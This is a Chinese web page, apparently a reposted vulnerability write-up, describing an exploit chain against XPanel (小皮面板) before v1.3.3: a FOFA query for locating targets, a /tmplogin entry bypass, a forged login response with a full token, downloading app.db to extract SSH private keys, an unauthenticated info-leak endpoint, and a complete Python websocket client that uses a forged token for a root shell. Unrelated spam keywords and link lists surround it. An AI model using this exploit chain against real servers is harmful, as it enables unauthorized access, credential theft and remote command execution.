当前位置: 首页 > wzjs >正文

做网站的教科书免费入驻的跨境电商平台

做网站的教科书,免费入驻的跨境电商平台,深圳代理记账行业协会,广东手机微信网站制作文章目录 绕过安全入口及未授权进入后台获取SSH密钥信息泄露无需入口RCE 影响版本:XPanel v1.3.3之前 存在鉴权绕过,可构造恶意请求直接访问后台管理接口,结合任意文件下载获取数据库文件,并提取ssh私钥,实现RCE。 f…

文章目录

      • 绕过安全入口及未授权进入后台
      • 获取SSH密钥
      • 信息泄露
      • 无需入口RCE

影响版本:XPanel v1.3.3之前

存在鉴权绕过,可构造恶意请求直接访问后台管理接口,结合任意文件下载获取数据库文件,并提取ssh私钥,实现RCE。

fofa:icon_hash=“-1458616391”

绕过安全入口及未授权进入后台

由于小皮面板有安全入口,访问登录页面需要先获取的每个账号对应的随机字符串,例如:x.x.x.x:6666/4e4rv3

在这里插入图片描述

但是可以通过访问/tmplogin路由,进行绕过,直接到达登录口。

在这里插入图片描述

首先在登录口,由于后台未做校验,直接替换响应包的内容即可绕过

{"code":1000,"data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDYzMzM2NjYsImlhdCI6MTc0NTcyODg2NiwiaXNzIjoieHAiLCJuYmYiOjE3NDU3Mjg4NjYsInVzZXJfaWQiOjEsImFjY291bnQiOiJhNjFjYTQxZCIsInRlbXAiOmZhbHNlfQ.xC1vSZnWhYykBEKdiRUqf2SbTifmwZfpwHREqy8SyYI"},"message":"登录成功"}

并且登录之后不会有日志

这里只要注册账号,获得一个可以成功登录的token,即可用在任意服务器上登录了。

获取SSH密钥

登录成功之后可以下载数据库文件xp/db/app.db

在这里插入图片描述

保存到本地之后使用navicat打开,直接导入表会报错,这里我用的是新建连接一个SQLite,并且选中app.db进行连接。

在terminal表中可以获取SSH的RSA私钥

在这里插入图片描述

保存为key.pem,然后使用私钥连接SSH即可

在这里插入图片描述

信息泄露

小皮的主程序在/xp/panel/app,我们通过go tool将主程序编译为汇编代码

go tool objdump -S app > xp.asm 

然后可以根据规则去搜索⾯板相关接⼝,有些接⼝在⾯板⾥没有使⽤到,但是可以直接调⽤的。

例如这个未授权接口会泄露面板的用户名、key、安全入口、端口、版本号等信息

在这里插入图片描述

在这里插入图片描述

无需入口RCE

小皮的终端连接无需安全面板,通过WS协议通信执行命令,只需要伪造token即可连接服务器执行命令

#!/usr/bin/env python3
import sys
import asyncio
import websockets
from typing import Optionalclass WebSSHClient:def __init__(self, host: str):self.websocket: Optional[websockets.WebSocketClientProtocol] = Noneself.host = hostself.auth_token = "伪造的身份标识"self.connected = Falseasync def connect(self) -> None:"""Establish WebSocket connection and authenticate"""uri = f'ws://{self.host}/wsSsh/wsSsh?machineId=1&token={self.auth_token}'try:self.websocket = await websockets.connect(uri)await self._authenticate()self.connected = Trueexcept Exception as e:print(f"Connection failed: {str(e)}")raiseasync def _authenticate(self) -> None:"""Handle authentication process"""if not self.websocket:raise ConnectionError("WebSocket not initialized")await self.websocket.send('1')response = await self.websocket.recv()if "Last login" in response:print('Authentication successful!')else:print(f"Server response: {response}")async def run_shell(self) -> None:"""Main interactive shell loop"""if not self.connected:print("Not connected to server")returnprint("\nInteractive shell (type 'exit' to quit)")while True:try:command = input("root@localhost# ").strip()if not command:continueif command.lower() in ('exit', 'quit'):print("Closing connection...")await self.close()returnawait self._send_command(command)response = await self.websocket.recv()print(response)except KeyboardInterrupt:print("\nUse 'exit' or 'quit' to end the session")except Exception as e:print(f"Error: {str(e)}")await self.close()returnasync def _send_command(self, command: str) -> None:"""Format and send command to server"""if not self.websocket:raise ConnectionError("WebSocket not initialized")formatted_cmd = f'{{"type":2,"msg":"{command}\\r"}}'await self.websocket.send(formatted_cmd)async def close(self) -> None:"""Cleanly close the connection"""if self.websocket and not self.websocket.closed:await self.websocket.close()self.connected = Falseasync def main():if len(sys.argv) < 2:print(f"Usage: {sys.argv[0]} <host>")sys.exit(1)host = sys.argv[1]client = WebSSHClient(host)try:await client.connect()await client.run_shell()except Exception as e:print(f"Fatal error: {str(e)}")finally:if client.connected:await client.close()if __name__ == "__main__":try:asyncio.get_event_loop().run_until_complete(main())except KeyboardInterrupt:print("\nSession terminated by user")
http://www.dtcms.com/wzjs/31509.html

相关文章:

  • 易语言做试用点击网站爱站网seo查询
  • 上海手机网站制作哪家好地推扫码平台
  • 如何做网站数据分析网络培训中心
  • wordpress 默认 私密标题关键词优化报价
  • 关键词排名优化网站建设公司哪家好seo的概念
  • 郑州交易网站建设外贸网站推广方法之一
  • 中小企业网站建设软文推广300字
  • 免费空间域名可以做淘宝客网站推广吗友情链接交换形式有哪些
  • wap网站开发多少钱天津抖音seo
  • 网站建设合作合同模板下载教育培训机构
  • 0797 网站制作互联网营销的十五种方式
  • 宝鸡做网站的公司培训师资格证怎么考
  • 呼市网站制作火蝠电商代运营公司
  • 自助建站系统 破解百度指数官网移动版
  • 沈阳做网站黑酷科技软文发布平台媒体
  • 北京工商注册登记网官网郑州网站建设优化
  • 345诛仙网站是谁做的查询网
  • wordpress主题动漫优化大师的作用
  • 学做网站论坛如何去推广
  • 怎样做心理咨询网站宁德市政府
  • 亚当学院网站建设视频教程网站seo推广平台
  • 微友说是做网站维护让帮忙投注刚刚突发1惊天大事
  • 做诈骗网站以及维护企业网址怎么申请
  • 做网站只做前端可以用吗湖口网站建设
  • 网络营销外包公司招聘学seo优化
  • 做暧小视频免费视频在线观看网站杭州seo网站优化公司
  • 深圳网站建设培训班直播发布会
  • 网站建设 用户管理哈尔滨seo
  • 网站设计与建设百度平台app
  • 哪里有免费的网站模板下载软件国内十大4a广告公司